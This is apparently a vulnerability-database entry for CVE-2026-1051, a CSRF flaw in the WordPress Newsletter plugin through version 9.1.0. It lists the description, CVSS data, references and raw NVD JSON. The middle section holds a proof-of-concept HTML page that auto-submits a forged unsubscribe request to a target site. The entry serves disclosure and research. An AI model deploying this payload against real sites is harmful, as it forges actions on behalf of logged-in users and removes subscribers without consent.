CVE-2026-1051

Description

The Newsletter – Send awesome emails from WordPress plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 9.1.0. This is due to missing or incorrect nonce validation on the hook_newsletter_action() function. This makes it possible for unauthenticated attackers to unsubscribe newsletter subscribers via a forged request granted they can trick a logged-in user into performing an action such as clicking on a link.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

WordPress Newsletter plugin <= 9.1.0（所有版本）

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<html> <body> <h1>CVE-2026-1051 CSRF PoC</h1> <p>诱骗已登录用户访问此页面将取消指定订阅者的订阅</p> <form action="http://target-site.com/wp-admin/admin-ajax.php" method="POST"> <input type="hidden" name="action" value="newsletter" /> <input type="hidden" name="na" value="unsubscribe" />  <input type="hidden" name="email" value="[email protected]" />  <input type="hidden" name="id" value="123" />  <input type="submit" value="Submit Request" /> </form> <script> // 自动提交表单 document.forms[0].submit(); </script> </body> </html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-1051
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-1051
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-1051/
[4] VulDB https://vuldb.com/cve/CVE-2026-1051
[5] https://plugins.trac.wordpress.org/browser/newsletter/tags/9.1.0/unsubscription/unsubscription.php#L141
[6] https://www.wordfence.com/threat-intel/vulnerabilities/id/8de2156f-5087-4c16-8e5d-93b5c72ec536?source=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-1051", "sourceIdentifier": "[email protected]", "published": "2026-01-20T02:15:46.423", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Newsletter – Send awesome emails from WordPress plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 9.1.0. This is due to missing or incorrect nonce validation on the hook_newsletter_action() function. This makes it possible for unauthenticated attackers to unsubscribe newsletter subscribers via a forged request granted they can trick a logged-in user into performing an action such as clicking on a link."}, {"lang": "es", "value": "El plugin de WordPress 'The Newsletter – Send awesome emails from WordPress' es vulnerable a falsificación de petición en sitios cruzados en todas las versiones hasta la 9.1.0, inclusive. Esto se debe a la validación de nonce faltante o incorrecta en la función hook_newsletter_action(). Esto hace posible que atacantes no autenticados den de baja a suscriptores del boletín a través de una petición falsificada, siempre que puedan engañar a un usuario con sesión iniciada para que realice una acción como hacer clic en un enlace."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/newsletter/tags/9.1.0/unsubscription/unsubscription.php#L141", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/8de2156f-5087-4c16-8e5d-93b5c72ec536?source=cve", "source": "[email protected]"}]}}